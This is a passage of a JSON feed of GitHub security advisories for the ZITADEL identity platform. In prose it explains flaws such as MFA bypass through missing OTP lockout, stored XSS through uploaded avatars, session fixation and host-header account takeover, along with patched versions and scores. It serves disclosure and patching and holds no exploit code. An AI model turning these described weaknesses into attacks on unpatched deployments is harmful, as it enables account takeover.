g/v2.53.9","https://github.com/zitadel/zitadel/releases/tag/v2.54.8","https://github.com/zitadel/zitadel/releases/tag/v2.55.5","https://github.com/zitadel/zitadel/releases/tag/v2.56.2","https://github.com/zitadel/zitadel/releases/tag/v2.57.1","https://github.com/zitadel/zitadel/releases/tag/v2.58.1","https://pkg.go.dev/vuln/GO-2024-3015","https://github.com/advisories/GHSA-v333-7h2p-5fhv"],"source_kind":"github","identifiers":["GHSA-v333-7h2p-5fhv","CVE-2024-41953"],"repository_url":"https://github.com/zitadel/zitadel","blast_radius":1.0,"created_at":"2024-07-31T21:05:31.690Z","updated_at":"2026-11-05T05:09:36.255Z","epss_percentage":0.0065,"epss_percentile":0.50529,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12MzMzLTdoMnAtNWZods4AA-TE","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS12MzMzLTdoMnAtNWZods4AA-TE","packages":[{"ecosystem":"go","package_name":"github.com/zitadel/zitadel","versions":[{"first_patched_version":"1.80.0-v2.20.0.20240731122110-189505c80fa6","vulnerable_version_range":"\u003e= 0.0.0, \u003c 1.80.0-v2.20.0.20240731122110-189505c80fa6"},{"first_patched_version":"2.52.3","vulnerable_version_range":"\u003e= 1.80.1, \u003c 2.52.3"},{"first_patched_version":"0.0.0-20240731122110-189505c80fa6","vulnerable_version_range":"\u003c 0.0.0-20240731122110-189505c80fa6"},{"first_patched_version":"2.58.1","vulnerable_version_range":"= 2.58.0"},{"first_patched_version":"2.57.1","vulnerable_version_range":"= 2.57.0"},{"first_patched_version":"2.56.2","vulnerable_version_range":"\u003e= 2.56.0, \u003c 2.56.2"},{"first_patched_version":"2.55.5","vulnerable_version_range":"\u003e= 2.55.0, \u003c 2.55.5"},{"first_patched_version":"2.54.8","vulnerable_version_range":"\u003e= 2.54.0, \u003c 2.54.8"},{"first_patched_version":"2.53.9","vulnerable_version_range":"\u003e= 2.53.0, \u003c 2.53.9"}],"purl":"pkg:go/github.com%2Fzitadel%2Fzitadel"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12MzMzLTdoMnAtNWZods4AA-TE/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1jdnc5LWM1N2gtMzM5N84AA9m1","url":"https://github.com/advisories/GHSA-cvw9-c57h-3397","title":"ZITADEL Vulnerable to Session Information Leakage","description":"### Impact\n\nZITADEL provides users the ability to list all user sessions of the current user agent (browser) by API and in the Console UI.\n\nDue to a missing check, user sessions without that information (e.g. when created though the session service) were incorrectly listed exposing potentially other user's sessions.\n\nNote that the Login UI was never affected and there was no possibility to take over such a session.\n\n### Patches\n\n2.x versions are fixed on \u003e= [2.55.1](https://github.com/zitadel/zitadel/releases/tag/v2.55.1)\n2.54.x versions are fixed on \u003e= [2.54.5](https://github.com/zitadel/zitadel/releases/tag/v2.54.5)\n2.53.x versions are fixed on \u003e= [2.53.8](https://github.com/zitadel/zitadel/releases/tag/v2.53.8)\n\nZITADEL recommends upgrading to the latest versions available in due course.\n\n### Workarounds\n\nThere is no workaround since a patch is already available.\n\n### References\n\n- https://github.com/zitadel/zitadel/pull/8231\n- https://discord.com/channels/927474939156643850/1254096852937347153\n- https://github.com/zitadel/zitadel/issues/8213\n\n### Questions\nIf you have any questions or comments about this advisory, please email us at [security@zitadel.com](mailto:security@zitadel.com)\n\n### Credits\nThanks to @cybertransformer, @Avolicious, @AmirhoseinBrz and @srividyaj for finding and reporting the vulnerability.\n","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2024-07-05T20:03:55.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.9,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/zitadel/zitadel/security/advisories/GHSA-cvw9-c57h-3397","https://nvd.nist.gov/vuln/detail/CVE-2024-39683","https://github.com/zitadel/zitadel/issues/8213","https://github.com/zitadel/zitadel/pull/8231","https://github.com/zitadel/zitadel/commit/4a262e42abac2208b02fefaf68ba1a5121649f04","https://github.com/zitadel/zitadel/commit/c2093ce01507ca8fc811609ff5d391693360c3da","https://github.com/zitadel/zitadel/commit/d04f208486a418a45b884b9ca8433e5ad9790d73","https://discord.com/channels/927474939156643850/1254096852937347153","https://github.com/zitadel/zitadel/releases/tag/v2.53.8","https://github.com/zitadel/zitadel/releases/tag/v2.54.5","https://github.com/zitadel/zitadel/releases/tag/v2.55.1","https://github.com/advisories/GHSA-cvw9-c57h-3397"],"source_kind":"github","identifiers":["GHSA-cvw9-c57h-3397","CVE-2024-39683"],"repository_url":"https://github.com/zitadel/zitadel","blast_radius":1.0,"created_at":"2024-07-05T21:05:28.166Z","updated_at":"2026-10-24T21:08:38.365Z","epss_percentage":0.00609,"epss_percentile":0.48502,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jdnc5LWM1N2gtMzM5N84AA9m1","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jdnc5LWM1N2gtMzM5N84AA9m1","packages":[{"ecosystem":"go","package_name":"github.com/zitadel/zitadel","versions":[{"first_patched_version":"2.55.1","vulnerable_version_range":"\u003e= 2.55.0, \u003c 2.55.1"},{"first_patched_version":"2.54.5","vulnerable_version_range":"\u003e= 2.54.0, \u003c= 2.54.4"},{"first_patched_version":"2.53.8","vulnerable_version_range":"\u003e= 2.0.0, \u003c= 2.53.7"}],"purl":"pkg:go/github.com%2Fzitadel%2Fzitadel"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jdnc5LWM1N2gtMzM5N84AA9m1/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1xNXFqLXgyaDUtMzk0Nc4AA7eF","url":"https://github.com/advisories/GHSA-q5qj-x2h5-3945","title":"Zitadel exposing internal database user name and host information","description":"### Impact\n\nIn case ZITADEL could not connect to the database, connection information including db name, username and db host name could be returned to the user.\n\n### Patches\n\n2.x versions are fixed on \u003e= [2.50.3](https://github.com/zitadel/zitadel/releases/tag/v2.50.3)\n2.49.x versions are fixed on \u003e= [2.49.5](https://github.com/zitadel/zitadel/releases/tag/v2.49.5)\n2.48.x versions are fixed on \u003e= [2.48.5](https://github.com/zitadel/zitadel/releases/tag/v2.48.5)\n2.47.x versions are fixed on \u003e= [2.47.10](https://github.com/zitadel/zitadel/releases/tag/v2.47.10)\n2.46.x versions are fixed on \u003e= [2.46.7](https://github.com/zitadel/zitadel/releases/tag/v2.46.7)\n2.45.x versions are fixed on \u003e= [2.45.7](https://github.com/zitadel/zitadel/releases/tag/v2.45.7)\n\n### Workarounds\n\nThere is no workaround since a patch is already available.\n\n### Questions\n\nIf you have any questions or comments about this advisory, please email us at [security@zitadel.com](mailto:security@zitadel.com)","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2024-05-01T16:36:04.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.9,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/zitadel/zitadel/security/advisories/GHSA-q5qj-x2h5-3945","https://nvd.nist.gov/vuln/detail/CVE-2024-32967","https://github.com/zitadel/zitadel/commit/b918603b576d156a08b90917c14c2d019c82ffc6","https://github.com/zitadel/zitadel/releases/tag/v2.45.7","https://github.com/zitadel/zitadel/releases/tag/v2.46.7","https://github.com/zitadel/zitadel/releases/tag/v2.47.10","https://github.com/zitadel/zitadel/releases/tag/v2.48.5","https://github.com/zitadel/zitadel/releases/tag/v2.49.5","https://github.com/zitadel/zitadel/releases/tag/v2.50.3","https://github.com/advisories/GHSA-q5qj-x2h5-3945"],"source_kind":"github","identifiers":["GHSA-q5qj-x2h5-3945","CVE-2024-32967"],"repository_url":"https://github.com/zitadel/zitadel","blast_radius":1.0,"created_at":"2024-05-01T17:05:12.246Z","updated_at":"2026-11-05T05:10:17.021Z","epss_percentage":0.00635,"epss_percentile":0.50528,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xNXFqLXgyaDUtMzk0Nc4AA7eF","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1xNXFqLXgyaDUtMzk0Nc4AA7eF","packages":[{"ecosystem":"go","package_name":"github.com/zitadel/zitadel","versions":[{"first_patched_version":"2.45.7","vulnerable_version_range":"\u003c 2.45.7"},{"first_patched_version":"2.47.10","vulnerable_version_range":"\u003e= 2.47.0, \u003c 2.47.10"},{"first_patched_version":"2.48.5","vulnerable_version_range":"\u003e= 2.48.0, \u003c 2.48.5"},{"first_patched_version":"2.49.5","vulnerable_version_range":"\u003e= 2.49.0, \u003c 2.49.5"},{"first_patched_version":"2.50.3","vulnerable_version_range":"\u003e= 2.50.0, \u003c 2.50.3"}],"purl":"pkg:go/github.com%2Fzitadel%2Fzitadel"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xNXFqLXgyaDUtMzk0Nc4AA7eF/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS03ajdqLTY2Y3YtbTIzOc4AA7UD","url":"https://github.com/advisories/GHSA-7j7j-66cv-m239","title":"ZITADEL's Improper Lockout Mechanism Leads to MFA Bypass","description":"### Impact\nZITADEL provides users the possibility to use Time-based One-Time-Password (TOTP) and One-Time-Password (OTP) through SMS and Email.\n\nWhile ZITADEL already gives administrators the option to define a `Lockout Policy` with a maximum amount of failed password check attempts, there was no such mechanism for (T)OTP checks.\n\n### Patches\n2.x versions are fixed on \u003e= [2.50.0](https://github.com/zitadel/zitadel/releases/tag/v2.50.0)\n\n### Workarounds\nThere is no workaround since a patch is already available.\n\n### References\nNone\n\n### Questions\nIf you have any questions or comments about this advisory, please email us at [security@zitadel.com](mailto:security@zitadel.com)\n\n### Credits\n\nThanks to Jack Moran from Layer 9 Information Security, Ethan from zxsecurity and Amit Laish from GE Vernova for finding and reporting the vulnerability. \n","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2024-04-25T18:31:31.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.1,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/zitadel/zitadel/security/advisories/GHSA-7j7j-66cv-m239","https://nvd.nist.gov/vuln/detail/CVE-2024-32868","https://github.com/zitadel/zitadel/releases/tag/v2.50.0","https://github.com/advisories/GHSA-7j7j-66cv-m239"],"source_kind":"github","identifiers":["GHSA-7j7j-66cv-m239","CVE-2024-32868"],"repository_url":"https://github.com/zitadel/zitadel","blast_radius":1.0,"created_at":"2024-04-25T19:05:10.317Z","updated_at":"2026-11-05T05:10:25.866Z","epss_percentage":0.00456,"epss_percentile":0.39506,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03ajdqLTY2Y3YtbTIzOc4AA7UD","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS03ajdqLTY2Y3YtbTIzOc4AA7UD","packages":[{"ecosystem":"go","package_name":"github.com/zitadel/zitadel","versions":[{"first_patched_version":"2.50.0","vulnerable_version_range":"\u003c 2.50.0"}],"purl":"pkg:go/github.com%2Fzitadel%2Fzitadel"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03ajdqLTY2Y3YtbTIzOc4AA7UD/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1ocjV3LWN3d3EtMnY0bc4AA6as","url":"https://github.com/advisories/GHSA-hr5w-cwwq-2v4m","title":"ZITADEL's Improper Content-Type Validation Leads to Account Takeover via Stored XSS + CSP Bypass","description":"### Impact\n\nZITADEL users can upload their own avatar image and various image types are allowed.\n\nDue to a missing check, an attacker could upload HTML and pretend it is an image to gain access to the victim's account in certain scenarios.\nA possible victim would need to directly open the supposed image in the browser, where a session in ZITADEL needs to be active for this exploit to work.\n\nThe exploit could only be reproduced if the victim was using Firefox. Chrome, Safari as well as Edge did not execute the code.\n\n### Patches\n\n2.x versions are fixed on \u003e= [2.48.3](https://github.com/zitadel/zitadel/releases/tag/v2.48.3)\n2.47.x versions are fixed on \u003e= [2.47.8](https://github.com/zitadel/zitadel/releases/tag/v2.47.8)\n2.46.x versions are fixed on \u003e= [2.46.5](https://github.com/zitadel/zitadel/releases/tag/v2.46.5)\n2.45.x versions are fixed on \u003e= [2.45.5](https://github.com/zitadel/zitadel/releases/tag/v2.45.5)\n2.44.x versions are fixed on \u003e= [2.44.7](https://github.com/zitadel/zitadel/releases/tag/v2.44.7)\n2.43.x versions are fixed on \u003e= [2.43.11](https://github.com/zitadel/zitadel/releases/tag/v2.43.11)\n2.42.x versions are fixed on \u003e= [2.42.17](https://github.com/zitadel/zitadel/releases/tag/v2.42.17)\n\nZITADEL recommends upgrading to the latest versions available in due course.\n\n### Workarounds\n\nThere is no workaround since a patch is already available.\n\n### References\n\nNone\n\n### Questions\n\nIf you have any questions or comments about this advisory, please email us at [security@zitadel.com](mailto:security@zitadel.com)\n\n### Credits\n\nThanks to Amit Laish – GE Vernova for finding and reporting the vulnerability.\n","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2024-03-28T17:07:33.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:A/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/zitadel/zitadel/security/advisories/GHSA-hr5w-cwwq-2v4m","https://nvd.nist.gov/vuln/detail/CVE-2024-29891","https://github.com/zitadel/zitadel/releases/tag/v2.42.17","https://github.com/zitadel/zitadel/releases/tag/v2.43.11","https://github.com/zitadel/zitadel/releases/tag/v2.44.7","https://github.com/zitadel/zitadel/releases/tag/v2.45.5","https://github.com/zitadel/zitadel/releases/tag/v2.46.5","https://github.com/zitadel/zitadel/releases/tag/v2.47.8","https://github.com/zitadel/zitadel/releases/tag/v2.48.3","https://github.com/advisories/GHSA-hr5w-cwwq-2v4m"],"source_kind":"github","identifiers":["GHSA-hr5w-cwwq-2v4m","CVE-2024-29891"],"repository_url":"https://github.com/zitadel/zitadel","blast_radius":1.0,"created_at":"2024-03-28T18:04:54.442Z","updated_at":"2026-11-05T05:10:51.305Z","epss_percentage":0.0076,"epss_percentile":0.54501,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ocjV3LWN3d3EtMnY0bc4AA6as","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1ocjV3LWN3d3EtMnY0bc4AA6as","packages":[{"ecosystem":"go","package_name":"github.com/zitadel/zitadel","versions":[{"first_patched_version":"2.48.3","vulnerable_version_range":"\u003e= 2.48.0, \u003c 2.48.3"},{"first_patched_version":"2.47.8","vulnerable_version_range":"\u003e= 2.47.0, \u003c 2.47.8"},{"first_patched_version":"2.46.5","vulnerable_version_range":"\u003e= 2.46.0, \u003c 2.46.5"},{"first_patched_version":"2.45.5","vulnerable_version_range":"\u003e= 2.45.0, \u003c 2.45.5"},{"first_patched_version":"2.44.7","vulnerable_version_range":"\u003e= 2.44.0, \u003c 2.44.7"},{"first_patched_version":"2.43.11","vulnerable_version_range":"\u003e= 2.43.0, \u003c 2.43.11"},{"first_patched_version":"2.42.17","vulnerable_version_range":"\u003c 2.42.17"}],"purl":"pkg:go/github.com%2Fzitadel%2Fzitadel"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ocjV3LWN3d3EtMnY0bc4AA6as/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1ncDhnLWY0MmYtOTVxMs4AA6ar","url":"https://github.com/advisories/GHSA-gp8g-f42f-95q2","title":"ZITADEL's actions can overload reserved claims","description":"### Impact\nUnder certain circumstances an action could set [reserved claims](https://zitadel.com/docs/apis/openidoauth/claims#reserved-claims) managed by ZITADEL.\n\nFor example it would be possible to set the claim `urn:zitadel:iam:user:resourceowner:name`\n\n```json\n{\"urn:zitadel:iam:user:resourceowner:name\": \"ACME\"}\n```\n\nif it was not set by ZITADEL itself.\n\nTo compensate for this we introduced a protection that does prevent actions from changing claims that start with `urn:zitadel:iam`\n\n### Patches\n2.x versions are fixed on \u003e= [2.48.3](https://github.com/zitadel/zitadel/releases/tag/v2.48.3)\n2.47.x versions are fixed on \u003e= [2.47.8](https://github.com/zitadel/zitadel/releases/tag/v2.47.8)\n2.46.x versions are fixed on \u003e= [2.46.5](https://github.com/zitadel/zitadel/releases/tag/v2.46.5)\n2.45.x versions are fixed on \u003e= [2.45.5](https://github.com/zitadel/zitadel/releases/tag/v2.45.5)\n2.44.x versions are fixed on \u003e= [2.44.7](https://github.com/zitadel/zitadel/releases/tag/v2.44.7)\n2.43.x versions are fixed on \u003e= [2.43.11](https://github.com/zitadel/zitadel/releases/tag/v2.43.11)\n2.42.x versions are fixed on \u003e= [2.42.17](https://github.com/zitadel/zitadel/releases/tag/v2.42.17)\n\n### Workarounds\nNo workaround available since a patch is available\n\n### Credits\nMany thanks to @schettn whose disclosure of another topic lead us to find this issue.\n","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2024-03-28T17:07:32.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:A/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/zitadel/zitadel/security/advisories/GHSA-gp8g-f42f-95q2","https://nvd.nist.gov/vuln/detail/CVE-2024-29892","https://github.com/zitadel/zitadel/releases/tag/v2.42.17","https://github.com/zitadel/zitadel/releases/tag/v2.43.11","https://github.com/zitadel/zitadel/releases/tag/v2.44.7","https://github.com/zitadel/zitadel/releases/tag/v2.45.5","https://github.com/zitadel/zitadel/releases/tag/v2.46.5","https://github.com/zitadel/zitadel/releases/tag/v2.47.8","https://github.com/zitadel/zitadel/releases/tag/v2.48.3","https://github.com/advisories/GHSA-gp8g-f42f-95q2"],"source_kind":"github","identifiers":["GHSA-gp8g-f42f-95q2","CVE-2024-29892"],"repository_url":"https://github.com/zitadel/zitadel","blast_radius":1.0,"created_at":"2024-03-28T18:04:54.467Z","updated_at":"2026-11-05T05:10:51.306Z","epss_percentage":0.00767,"epss_percentile":0.555,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ncDhnLWY0MmYtOTVxMs4AA6ar","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1ncDhnLWY0MmYtOTVxMs4AA6ar","packages":[{"ecosystem":"go","package_name":"github.com/zitadel/zitadel","versions":[{"first_patched_version":"2.48.3","vulnerable_version_range":"\u003e= 2.48.0, \u003c 2.48.3"},{"first_patched_version":"2.47.8","vulnerable_version_range":"\u003e= 2.47.0, \u003c 2.47.8"},{"first_patched_version":"2.46.5","vulnerable_version_range":"\u003e= 2.46.0, \u003c 2.46.5"},{"first_patched_version":"2.45.5","vulnerable_version_range":"\u003e= 2.45.0, \u003c 2.45.5"},{"first_patched_version":"2.44.7","vulnerable_version_range":"\u003e= 2.44.0, \u003c 2.44.7"},{"first_patched_version":"2.43.11","vulnerable_version_range":"\u003e= 2.43.0, \u003c 2.43.11"},{"first_patched_version":"2.42.17","vulnerable_version_range":"\u003c 2.42.17"}],"purl":"pkg:go/github.com%2Fzitadel%2Fzitadel"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ncDhnLWY0MmYtOTVxMs4AA6ar/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1oZnJnLTRqd3ItamZwas4AA6Gn","url":"https://github.com/advisories/GHSA-hfrg-4jwr-jfpj","title":"Improper HTML sanitization in ZITADEL","description":"### Impact\n\nZITADEL uses Go templates to render the login UI.\n\nDue to a improper use of the `text/template` instead of the `html/template` package, the Login UI did not sanitize input parameters. An attacker could create a malicious link, where he injected code which would be rendered as part of the login screen.\nWhile it was possible to inject HTML including javascript, the execution of such scripts would be prevented by the Content Security Policy.\n\n### Patches\n\n2.x versions are fixed on \u003e= [2.47.3](https://github.com/zitadel/zitadel/releases/tag/v2.47.3)\n2.46.x versions are fixed on \u003e= [2.46.1](https://github.com/zitadel/zitadel/releases/tag/v2.46.1)\n2.45.x versions are fixed on \u003e= [2.45.1](https://github.com/zitadel/zitadel/releases/tag/v2.45.1)\n2.44.x versions are fixed on \u003e= [2.44.3](https://github.com/zitadel/zitadel/releases/tag/v2.44.3)\n2.43.x versions are fixed on \u003e= [2.43.9](https://github.com/zitadel/zitadel/releases/tag/v2.43.9)\n2.42.x versions are fixed on \u003e= [2.42.15](https://github.com/zitadel/zitadel/releases/tag/v2.42.15)\n2.41.x versions are fixed on \u003e= [2.41.15](https://github.com/zitadel/zitadel/releases/tag/v2.41.15)\n\nZITADEL recommends upgrading to the latest versions available in due course.\n\n### Workarounds\n\nThere is no workaround since a patch is already available.\n\n### Questions\n\nIf you have any questions or comments about this advisory, please email us at [security@zitadel.com](mailto:security@zitadel.com)\n\n### Credits\n\nThanks to Daniel Philipp - owt and Thomas Wickham - synopsis for reporting this.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2024-03-18T20:34:00.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.1,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","references":["https://github.com/zitadel/zitadel/security/advisories/GHSA-hfrg-4jwr-jfpj","https://nvd.nist.gov/vuln/detail/CVE-2024-28855","https://github.com/zitadel/zitadel/releases/tag/v2.41.15","https://github.com/zitadel/zitadel/releases/tag/v2.42.15","https://github.com/zitadel/zitadel/releases/tag/v2.43.9","https://github.com/zitadel/zitadel/releases/tag/v2.44.3","https://github.com/zitadel/zitadel/releases/tag/v2.45.1","https://github.com/zitadel/zitadel/releases/tag/v2.46.1","https://github.com/zitadel/zitadel/releases/tag/v2.47.3","https://github.com/zitadel/zitadel/commit/07ec2efa9dc62f7a6c3a58c112b2879d24bc3e3c","https://github.com/advisories/GHSA-hfrg-4jwr-jfpj"],"source_kind":"github","identifiers":["GHSA-hfrg-4jwr-jfpj","CVE-2024-28855"],"repository_url":"https://github.com/zitadel/zitadel","blast_radius":1.0,"created_at":"2024-03-21T20:04:42.191Z","updated_at":"2026-11-05T05:10:56.527Z","epss_percentage":0.00779,"epss_percentile":0.55611,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oZnJnLTRqd3ItamZwas4AA6Gn","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1oZnJnLTRqd3ItamZwas4AA6Gn","packages":[{"ecosystem":"go","package_name":"github.com/zitadel/zitadel","versions":[{"first_patched_version":"1.80.0-v2.20.0.20240311065202-07ec2efa9dc6","vulnerable_version_range":"\u003e= 0.0.0, \u003c 1.80.0-v2.20.0.20240311065202-07ec2efa9dc6"},{"first_patched_version":"2.41.15","vulnerable_version_range":"\u003e= 1.80.1, \u003c 2.41.15"},{"first_patched_version":"0.0.0-20240311065202-07ec2efa9dc6","vulnerable_version_range":"\u003c 0.0.0-20240311065202-07ec2efa9dc6"},{"first_patched_version":"2.47.4","vulnerable_version_range":"\u003e= 2.47.0, \u003c 2.47.4"},{"first_patched_version":"2.46.1","vulnerable_version_range":"= 2.46.0"},{"first_patched_version":"2.45.1","vulnerable_version_range":"= 2.45.0"},{"first_patched_version":"2.44.3","vulnerable_version_range":"\u003e= 2.44.0, \u003c 2.44.3"},{"first_patched_version":"2.43.9","vulnerable_version_range":"\u003e= 2.43.0, \u003c 2.43.9"},{"first_patched_version":"2.42.15","vulnerable_version_range":"\u003e= 2.42.0, \u003c 2.42.15"}],"purl":"pkg:go/github.com%2Fzitadel%2Fzitadel"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oZnJnLTRqd3ItamZwas4AA6Gn/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1tcTR4LXIydzMtajdtcs4AA54b","url":"https://github.com/advisories/GHSA-mq4x-r2w3-j7mr","title":"Account Takeover via Session Fixation in Zitadel [Bypassing MFA]","description":"### Impact\nZITADEL uses a cookie to identify the user agent (browser) and its user sessions. \n\nAlthough the cookie was handled according to best practices, it was accessible on subdomains of the ZITADEL instance. An attacker could take advantage of this and provide a malicious link hosted on the subdomain to the user to gain access to the victim’s account in certain scenarios. \nA possible victim would need to login through the malicious link for this exploit to work. \n\nIf the possible victim already had the cookie present, the attack would not succeed. The attack would further only be possible if there was an initial vulnerability on the subdomain. This could either be the attacker being able to control DNS or a XSS vulnerability in an application hosted on a subdomain.\n\n### Patches\n2.x versions are fixed on \u003e= [2.46.0](https://github.com/zitadel/zitadel/releases/tag/v2.46.0)\n2.45.x versions are fixed on \u003e= [2.45.1](https://github.com/zitadel/zitadel/releases/tag/v2.45.1)\n2.44.x versions are fixed on \u003e= [2.44.3](https://github.com/zitadel/zitadel/releases/tag/v2.44.3)\n\nZITADEL recommends upgrading to the latest versions available in due course.\n\nNote that applying the patch will invalidate the current cookie and thus users will need to start a new session and existing sessions (user selection) will be empty.\n\n### Workarounds\nFor self-hosted environments unable to upgrade to a patched version, prevent setting the following cookie name on subdomains of your ZITADEL instance (e.g. within your WAF): `__Secure-zitadel-useragent`\n\n### References\nNone\n\n### Questions\nIf you have any questions or comments about this advisory, please email us at [security@zitadel.com](mailto:security@zitadel.com)\n\n### Credits\nThanks to Amit Laish – GE Vernova for finding and reporting the vulnerability.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2024-03-11T21:25:52.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.1,"cvss_vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:P/VC:N/VI:H/VA:N/SC:H/SI:H/SA:N","references":["https://github.com/zitadel/zitadel/security/advisories/GHSA-mq4x-r2w3-j7mr","https://github.com/zitadel/zitadel/commit/d4c553b75a214e41299af010ef4b26174a0f802c","https://github.com/zitadel/zitadel/commit/e82cb51eb819c6cdba8123c9c34c5739b46b29eb","https://nvd.nist.gov/vuln/detail/CVE-2024-28197","https://github.com/advisories/GHSA-mq4x-r2w3-j7mr"],"source_kind":"github","identifiers":["GHSA-mq4x-r2w3-j7mr","CVE-2024-28197"],"repository_url":"https://github.com/zitadel/zitadel","blast_radius":1.0,"created_at":"2024-03-11T22:04:39.641Z","updated_at":"2026-10-26T21:11:03.601Z","epss_percentage":0.00335,"epss_percentile":0.2669,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tcTR4LXIydzMtajdtcs4AA54b","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1tcTR4LXIydzMtajdtcs4AA54b","packages":[{"ecosystem":"go","package_name":"github.com/zitadel/zitadel","versions":[{"first_patched_version":"2.45.1","vulnerable_version_range":"\u003e= 2.45.0, \u003c 2.45.1"},{"first_patched_version":"2.44.3","vulnerable_version_range":"\u003c 2.44.3"}],"purl":"pkg:go/github.com%2Fzitadel%2Fzitadel"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tcTR4LXIydzMtajdtcs4AA54b/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0yd21qLTQ2cmotcW0yd84AA3az","url":"https://github.com/advisories/GHSA-2wmj-46rj-qm2w","title":"ZITADEL Account Takeover via Malicious Host Header Injection","description":"### Impact\n\nZITADEL uses the notification triggering requests Forwarded or X-Forwarded-Host header to build the button link sent in emails for confirming a password reset with the emailed code. If this header is overwritten and a user clicks the link to a malicious site in the email, the secret code can be retrieved and used to reset the users password and take over his account.\n\nAccounts with MFA or Passwordless enabled can not be taken over by this attack.\n\n### Patches\n\nThe patched ZITADEL versions verify, that the auth requests instance is retrieved by the requests original domain (from the Forwarded or X-Forwarded-Host headers if available). If the instance can't be found using the original host or the auth request can't be found within that instance, ZITADEL throws an error.\n\n2.x versions are fixed on \u003e= [2.41.6](https://github.com/zitadel/zitadel/releases/tag/v2.41.6)\n2.40.x versions are fixed on \u003e= [2.40.10](https://github.com/zitadel/zitadel/releases/tag/v2.40.10)\n2.39.x versions are fixed on \u003e= [2.39.9](https://github.com/zitadel/zitadel/releases/tag/v2.39.9)\n\nThe vulnerablility was introduced with 2.39.0.\n\n### Workarounds\n\nA ZITADEL fronting proxy can be configured to delete all Forwarded and X-Forwarded-Host header values before sending requests to ZITADEL self-hosted environments.\n\n### References\n\nNone\n\n### Questions\n\nIf you have any questions or comments about this advisory, please email us at 